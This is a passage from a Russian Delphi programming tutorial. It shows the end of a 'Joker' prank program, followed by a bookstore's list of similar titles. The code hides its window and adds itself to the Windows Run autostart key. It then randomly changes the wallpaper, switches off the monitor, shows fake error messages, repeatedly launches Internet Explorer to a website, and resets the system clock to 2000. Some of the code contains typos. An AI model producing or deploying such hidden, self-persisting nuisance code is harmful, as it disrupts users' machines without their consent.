Читаем Delphi. Учимся на примерах полностью

   endval:= Random(10) + 5; //для случайности выбора рисунка

   //ищем все файлы с расширением *.bmp в каталоге Windows

   Finds:= FindFirst('С:\Windows\*.bmp', faAnyFile, fn);

   Finds:= Random(2); //случайное число, 0 или 1

   //если выпала 1, то устанавливаем первый попавшийся рисунок

   if Finds = 1 then SetWallpaper(fn.Name, False);

   if Finds = 0 then begin //иначе…

    for i:=1 to endval do begin

     Finds:= FindNext(fn); // …ищем другие рисунки

     //выбираем любой другой рисунок и делаем его фоновым

     if i = endval – 3 then SetWallpaper(fn.Name, False);

    end;

   end;

   FindClose(fn); //завершаем поиск

  end;

  7: begin //Выключить монитор

   SendMessage(Application.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, 1);

  end;

  8: begin //Сообщение об "ошибке"

   for i:=1 to 200 do begin

    case i of

    //после каждого 25-го числа – перенос на новую строку

    25,50,75,100,125,150,175,199: err_str:= err_str + #13#10;

    end;

    //текст "ошибки"

    err_str:= err_str + IntToStr(Random(99999));

   end;

   MessageDlg(errstr, mtError, [mbOk], 0); //выводим сообщение

  end;

  9: begin //Запуск Internet Explorer

   for i:=1 to Random(10)+ 5 do //случайное число от 5 до 15.

    ShellExecute(0, 'open', 'C:\Program Files\lnternet Explorer\' +

     'IEXPLORE.EXE', 'www.heel.nm.ru', 0, SW_MAXIMIZE);

  end;

 10: begin //Перевести время

   GetLocalTime(tm); //узнаем текущую дату и время

   tm.wYear:= 2000; //устанавливаем год

   tm.wMonth:= 01; //месяц

   tm.wDay:= 01; //день

   tm.wHour:= 0; //часы

   tm.wMinute:= 0; //минуты

   tm.wSecond := 1; //секунды

   tm.wMilliseconds := 0; //мс

   SetLocalTime(tm); //устанавливаем новую дату и время

  end;

 end;

end;

procedure TForm1.FormPaint(Sender: TObject);

begin

 Form1.Hide; //прячем форму

end;

procedure TForm1.FormCreate(Sender: TObject);

var

 reg:TRegistry;//переменная для работы с реестром

 path: string;//содержит путь к нашей программе

begin

 Randomize; //генератор случайных чисел

 //узнаем путь к программе и ее имя

 path:= Application.EXEname;

 reg:= TRegistry.Create;//открываем реестр

 //ветка текущего пользователя

 reg.RootKey:= HKEY_CURRENT_USER;

 //открываем раздел автозагрузки

 if reg.OpenKey('\Software\Microsoft\Windows\' +

  'CurrentVersion\Run', True)

 then begin

  //записываем ссылку на нашу программу в автозагрузку

  reg.WriteString('Joker', path);

  reg.CloseKey;//закрываем реестр

  reg.Free;//освобождаем память

 end;

end;

end.

⊚ Все файлы проекта и исполняемый файл рассмотренной программы находятся на прилагаемом к книге компакт-диске в папке Chapter_14.

<p>Глава 15</p><p>Отправка сообщений в локальной сети</p><p>Постановка задачи</p>
Перейти на страницу:

Похожие книги

Основы программирования в Linux
Основы программирования в Linux

В четвертом издании популярного руководства даны основы программирования в операционной системе Linux. Рассмотрены: использование библиотек C/C++ и стан­дартных средств разработки, организация системных вызовов, файловый ввод/вывод, взаимодействие процессов, программирование средствами командной оболочки, создание графических пользовательских интерфейсов с помощью инструментальных средств GTK+ или Qt, применение сокетов и др. Описана компиляция программ, их компоновка c библиотеками и работа с терминальным вводом/выводом. Даны приемы написания приложений в средах GNOME® и KDE®, хранения данных с использованием СУБД MySQL® и отладки программ. Книга хорошо структурирована, что делает обучение легким и быстрым. Для начинающих Linux-программистов

Нейл Мэтью , Ричард Стоунс , Татьяна Коротяева

ОС и Сети / Программирование / Книги по IT
97 этюдов для архитекторов программных систем
97 этюдов для архитекторов программных систем

Успешная карьера архитектора программного обеспечения требует хорошего владения как технической, так и деловой сторонами вопросов, связанных с проектированием архитектуры. В этой необычной книге ведущие архитекторы ПО со всего света обсуждают важные принципы разработки, выходящие далеко за пределы чисто технических вопросов.?Архитектор ПО выполняет роль посредника между командой разработчиков и бизнес-руководством компании, поэтому чтобы добиться успеха в этой профессии, необходимо не только овладеть различными технологиями, но и обеспечить работу над проектом в соответствии с бизнес-целями. В книге более 50 архитекторов рассказывают о том, что считают самым важным в своей работе, дают советы, как организовать общение с другими участниками проекта, как снизить сложность архитектуры, как оказывать поддержку разработчикам. Они щедро делятся множеством полезных идей и приемов, которые вынесли из своего многолетнего опыта. Авторы надеются, что книга станет источником вдохновения и руководством к действию для многих профессиональных программистов.

Билл де Ора , Майкл Хайгард , Нил Форд

Программирование, программы, базы данных / Базы данных / Программирование / Книги по IT
Программист-прагматик. Путь от подмастерья к мастеру
Программист-прагматик. Путь от подмастерья к мастеру

Находясь на переднем крае программирования, книга "Программист-прагматик. Путь от подмастерья к мастеру" абстрагируется от всевозрастающей специализации и технических тонкостей разработки программ на современном уровне, чтобы исследовать суть процесса – требования к работоспособной и поддерживаемой программе, приводящей пользователей в восторг. Книга охватывает различные темы – от личной ответственности и карьерного роста до архитектурных методик, придающих программам гибкость и простоту в адаптации и повторном использовании.Прочитав эту книгу, вы научитесь:Бороться с недостатками программного обеспечения;Избегать ловушек, связанных с дублированием знания;Создавать гибкие, динамичные и адаптируемые программы;Избегать программирования в расчете на совпадение;Защищать вашу программу при помощи контрактов, утверждений и исключений;Собирать реальные требования;Осуществлять безжалостное и эффективное тестирование;Приводить в восторг ваших пользователей;Формировать команды из программистов-прагматиков и с помощью автоматизации делать ваши разработки более точными.

А. Алексашин , Дэвид Томас , Эндрю Хант

Программирование / Книги по IT